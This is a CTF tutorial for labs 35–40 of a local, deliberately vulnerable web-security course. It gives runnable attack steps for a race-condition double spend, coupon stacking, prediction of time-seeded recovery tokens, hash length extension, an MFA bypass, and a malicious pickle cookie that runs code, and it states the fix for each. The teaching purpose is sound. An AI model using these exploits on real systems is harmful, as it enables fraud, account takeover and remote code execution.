Business Logic, Time, and Crypto
A beginner-friendly CTF tutorial: race a balance check, stack valid discounts, predict recovery tokens, extend a hash, skip MFA state, and turn a signed cookie into code execution.
Many serious vulnerabilities contain no obviously dangerous character. Every request may be well-formed and every field may pass validation, while the application’s larger rule is still wrong.
Labs 35–40 of h5i-tutorial focus on those rules: ordering, concurrency, randomness, cryptographic constructions, authentication state, and serialization.
The labs are local and deliberately vulnerable. Race tests and business-logic attacks can modify data, so use them only with explicit authorization.
Lab 35: race a check-then-act operation
Alice has 100 credits. The transfer endpoint reads the balance, waits briefly, and subtracts later. Multiple requests can therefore observe the same original balance before any one updates it.
$ ./run.sh 35
$ h5i browser open 'http://127.0.0.1:9350/' \
--session lab35 --new --capture
The homepage prints Alice’s bearer token. Read it out of the captured response:
$ h5i websec show res_0 --session lab35 --raw
Copy the tok_... value, then release 25 transfers together:
$ TOKEN='PASTE_TOKEN'
$ h5i websec replay req_0 --session lab35 --create \
--repeat 25 --race \
--set method=POST --set path=/api/transfer \
--set header.Content-Type=application/json \
--set "header.Authorization=Bearer $TOKEN" \
--set json.to=vault --set json.amount=100
--repeat 25 creates the requests. --race makes their worker threads wait at a barrier and then send together.
Several transfers pass the balance check using the same 100-credit snapshot. Request /api/rewards to obtain FLAG{race_double_spend}.
$ h5i websec replay req_0 --session lab35 --create \
--set path=/api/rewards
The fix is an atomic database operation or transaction that locks the row, checks the balance, and updates it as one indivisible action. An idempotency key can also prevent the same logical operation from being accepted repeatedly.
Lab 36: stack individually valid coupons
The checkout API carefully validates every item and coupon. It forgets one business rule: the same coupon should apply only once.
$ ./run.sh 36
$ h5i browser open 'http://127.0.0.1:9360/' \
--session lab36 --new --capture
$ h5i websec replay req_0 --session lab36 --create \
--set method=POST --set path=/api/checkout \
--set header.Content-Type=application/json \
--set json.item=enterprise-license \
--set 'json.coupons=["FRIEND25","FRIEND25","FRIEND25","FRIEND25"]'
Four valid 25% discounts reduce the price to zero and return FLAG{coupon_stacking}.
This is not an input-validation bug. The JSON is valid and every coupon exists. The missing invariant is “a coupon may appear at most once.”
When testing business logic, write the product rules in plain language and try sequences that violate each rule: duplicates, reordering, reuse after cancellation, negative quantities, and concurrent redemption.
Lab 37: predict a recovery token
Security tokens must be generated with a cryptographically secure random number generator. This lab uses Python’s Mersenne Twister seeded with the current Unix second.
$ ./run.sh 37
$ h5i browser open 'http://127.0.0.1:9370/' \
--session lab37 --new --capture
Request a token for an address you control. The lab reveals it:
$ h5i websec replay req_0 --session lab37 --create \
--set method=POST --set path=/api/recover \
--set header.Content-Type=application/json \
--set json.email=me@example.test
The reply contains {"email": "me@example.test", "token": "..."}. Put that token in a variable and search for the second that produced it. Do this immediately: the window is only a few seconds wide.
$ MINE='PASTE_YOUR_TOKEN'
$ OFFSET=$(MINE="$MINE" python3 - <<'SEED'
import os
import random
import time
observed = os.environ["MINE"]
now = int(time.time())
for seed in range(now - 5, now + 6):
r = random.Random(seed)
candidate = "%08x%08x" % (r.getrandbits(32), r.getrandbits(32))
if candidate == observed:
print(seed - now)
break
else:
print("nocal")
SEED
)
$ printf '%s\n' "$OFFSET"
0
OFFSET is the difference between the server’s clock and ours. nocal means too much time passed between the two commands, so request a fresh token and try again.
Now ask for the admin’s token, which we are not shown, and test the handful of values it could have been:
$ h5i websec replay req_0 --session lab37 --create \
--set method=POST --set path=/api/recover \
--set header.Content-Type=application/json \
--set json.email=admin@acme.test
$ for T in $(OFFSET="$OFFSET" python3 - <<'SEED'
import os
import random
import time
base = int(time.time()) + int(os.environ["OFFSET"])
for seed in range(base - 2, base + 3):
r = random.Random(seed)
print("%08x%08x" % (r.getrandbits(32), r.getrandbits(32)))
SEED
); do
h5i websec replay req_0 --session lab37 --create --reset-budget \
--set path=/api/recover/use --set "query.token=$T"
done
Four of the five candidates answer {"error": "unknown token"}. The fifth returns FLAG{predictable_token}.
The issue is not token length. Sixteen hexadecimal characters look substantial, but all possible outputs collapse to a few likely time seeds. Use a CSPRNG such as Python’s secrets.token_urlsafe, expire tokens quickly, bind them to one account and purpose, and invalidate them after use.
Lab 38: hash length extension
The signer authenticates data using:
SHA256(secret || data)
The secret is random and unknown. However, SHA-256’s Merkle–Damgård construction lets someone holding the digest resume hashing after the internal padding and append more data.
Start the lab:
$ ./run.sh 38
$ h5i browser open 'http://127.0.0.1:9380/' \
--session lab38 --new --capture
The homepage prints a sample signed request. Read it and copy the 64-character sig:
$ h5i websec show res_0 --session lab38 --raw
The repository includes extend.py, which performs the SHA-256 state continuation:
$ SIG='PASTE_SIGNATURE'
$ read -r NEWDATA NEWSIG <<<"$(python3 labs/38-length-extension/extend.py \
--digest "$SIG" \
--data 'user=guest&role=viewer' \
--append '&role=admin' \
--key-len 16)"
It prints forged percent-encoded data and a new signature. The data contains padding bytes, so send the request target without URL normalization:
$ h5i websec replay req_0 --session lab38 \
--raw-target "/api/act?data=$NEWDATA&sig=$NEWSIG"
The application uses the last role value and returns FLAG{length_extension}.
Use HMAC rather than inventing a MAC from hash(secret || message). HMAC’s construction is specifically designed to avoid length-extension attacks. Also reject duplicate security-critical parameters.
Lab 39: skip the second authentication state
MFA is a flow, not merely a screen. After password verification, this lab issues a temporary token intended only for the second step. Other endpoints mistakenly accept it as a full session.
$ ./run.sh 39
$ h5i browser open 'http://127.0.0.1:9390/' \
--session lab39 --new --capture
Log in with the known password:
$ h5i websec replay req_0 --session lab39 --create \
--set method=POST --set path=/api/login \
--set header.Content-Type=application/json \
--set json.user=dana \
--set json.password=correct-horse
Copy the returned token and call the vault without completing MFA:
$ TOKEN='PASTE_LOGIN_TOKEN'
$ h5i websec replay req_0 --session lab39 --create \
--set path=/api/vault \
--set "header.Authorization=Bearer $TOKEN"
The response contains FLAG{mfa_bypass}.
Represent authentication level explicitly. A pre-MFA token should have a narrow audience and should be accepted only by the verification endpoint. After the second factor succeeds, issue a distinct full-session token.
Lab 40: a signed pickle is still a program
The final lab stores preferences in a Python pickle inside a cookie. The cookie has a valid HMAC, but the signing key is the sample value printed on the homepage.
$ ./run.sh 40
$ h5i browser open 'http://127.0.0.1:9400/' \
--session lab40 --new --capture
Python pickle is not a passive data format. Its reconstruction instructions can call functions. Create an object that runs printenv FLAG, then sign it with the exposed key:
$ COOKIE=$(python3 - <<'PY'
import base64
import hashlib
import hmac
import pickle
import subprocess
SECRET = b"prefs-signing-key"
class Payload:
def __reduce__(self):
return (
subprocess.check_output,
(["printenv", "FLAG"],),
)
raw = pickle.dumps(Payload())
mac = hmac.new(SECRET, raw, hashlib.sha256).hexdigest()[:16]
value = base64.urlsafe_b64encode(raw).decode().rstrip("=")
print(value + "." + mac)
PY
)
Send it:
$ h5i websec replay req_0 --session lab40 --create \
--set path=/api/prefs \
--set "cookie.prefs=$COOKIE"
Deserialization executes the payload and returns FLAG{pickle_cookie_rce}.
The signature answers only “Was this value created by someone holding the key?” Once the key is exposed, it authorizes arbitrary pickle programs. Never deserialize untrusted pickle data. Use a non-executable format such as JSON with a strict schema, even when the value is signed.
A reusable logic-testing method
Move beyond individual fields:
- Write down invariants such as “balance never goes below zero” or “MFA is complete before this token reaches the vault.”
- Test duplicates, reordering, retries, cancellation, and concurrent execution.
- Distinguish apparent entropy from unpredictable entropy.
- Review cryptographic constructions, not only algorithms.
- Ask what a serialized format can execute when decoded.
- Confirm the final business impact.
Summary
These labs exploited missing rules across time and state: concurrent balance checks, duplicate coupons, time-seeded tokens, an unsafe MAC construction, a pre-MFA token accepted too broadly, and executable serialized data.
$ for s in lab35 lab36 lab37 lab38 lab39 lab40; do
h5i browser close --session "$s"
done
$ ./run.sh stop
In Building Exploit Chains, we will combine earlier techniques into reproducible multi-step exploit chains.
References
- h5i
- Lab 35: Race condition
- Lab 36: Coupon stacking
- Lab 37: Predictable token
- Lab 38: Hash length extension
- Lab 39: MFA bypass
- Lab 40: Insecure deserialization
Building Exploit Chains
Carry fresh values between requests, turn small findings into a complete compromise, and keep the whole chain reproducible.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.